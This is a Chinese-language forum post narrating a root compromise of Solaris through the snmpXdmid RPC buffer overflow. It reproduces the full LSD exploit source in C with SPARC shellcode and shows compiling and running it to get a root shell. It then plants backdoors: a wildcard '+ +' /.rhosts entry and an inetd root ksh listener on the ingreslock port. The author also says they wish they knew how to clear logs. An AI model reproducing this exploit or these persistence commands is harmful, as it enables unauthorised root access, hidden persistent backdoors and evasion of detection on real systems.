最新的漏洞，snmp，SNMP到DMI映射内核线程（snmpXdmi）通过snmpdx和dmid内核线程注册自己，翻译和转发从一个内核线程到另一个内核线程的要求。sloaris 2.6,7和8包含SNMP到DMI映射内核线程（snmpXdmi），并且是默认安装的。SNMP到DMI映射内核线程（snmpXdmi）包含一个缓冲区溢出漏洞，入侵者可以利用这个漏洞获得root权利。

明白了吧，前几天一直不明白这是怎么回事，好了，正巧有个这样的机子，哈哈开工！！

先找exploite，去hack.co.za和lsp-pl.net

/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/
/*## snmpXdmid #*/

/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient */

#include <systypes.h>
#include <sys/socket.h>
#include <systime.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define SNMPXDMID_PROG 100249
#define SNMPXDMID_VERS 0x1
#define SNMPXDMID_ADDCOMPONENT 0x101

char findsckcode[]=
"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */
"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
"\x7f\xff\xff\xff" /* call <findsckcode+4> */
"\x33\x02\x12\x34"
"\xa0\x10\x20\xff" /* mov 0xff,%l0 */
"\xa2\x10\x20\x54" /* mov 0x54,%l1 */
"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */
"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */
"\x81\xc5\x60\x08" /* jmp %l5+8 */
"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */
"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */
"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */
"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */
"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */
"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */
"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */
"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */
"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */
"\x90\x04\x20\x01" /* add %l0,1,%o0 */
"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */
"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */
"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */
"\x82\x10\x20\x36" /* mov 0x36,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01" /* deccc %l0 */
"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */
"\xa6\x10\x20\x03" /* mov 0x03,%l3 */
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;

char sh*llcode[]=
"\x20\xbf\xff\xff" /* bn,a <sh*llcode-4> */
"\x20\xbf\xff\xff" /* bn,a <sh*llcode> */
"\x7f\xff\xff\xff" /* call <sh*llcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;

static char nop[]="\x80\x1c\x40\x11";

typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");

if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}

while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){
switch(c){
case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}
switch(vers){
case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}

*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);

adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);

findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);

b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;

b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode;
for(i=0;i<strlen(sh*llcode);i++) *b++=sh*llcode;
*b=0;

req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];

stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");

write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}

恩（看不大懂）！！
编译吧！

gcc －o snmp snmpxdmid.c
snmpxdmid.c:211:60: warning: no newline at end of file
snmpxdmid.c: In function `main':
snmpxdmid.c:181: warning: passing arg 3 of pointer to function from incompatible
pointer type
snmpxdmid.c:181: warning: passing arg 4 of pointer to function from incompatible
pointer type
snmpxdmid.c:181: warning: passing arg 5 of pointer to function from incompatible
pointer type
/usr/bin/ld: cannot open output file snmp: Permission denied
collect2: ld returned 1 exit status

一堆错误，好想是没关系的！
# ./snmp

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

usage: ./snmp address [-p port] -v 7|8

有使用方法！ｏｋ。。。。。。。。

#./snmp x.x.x.x －v 8 (x.x.x.x 是我的sun8的机器)

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!

sent!

SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250

id

uid=0(root) gid=0(root)

看到了吧，是root权限了！！！作后门！（不是很熟练！照抄的！）

echo “+ +” >/.rhosts

echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > tmp/.x

/usr/sbin/inetd -s tmp/.x

rm -f tmp/.x

telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

# id

ksh: id^M: not found

# id;

uid=0(root) gid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

Exit

呵呵！刚刚上手的，感觉还是不爽，不知道如何清除日志，和安装更好的后门，仅供参考！！

还请各位多多指点！！！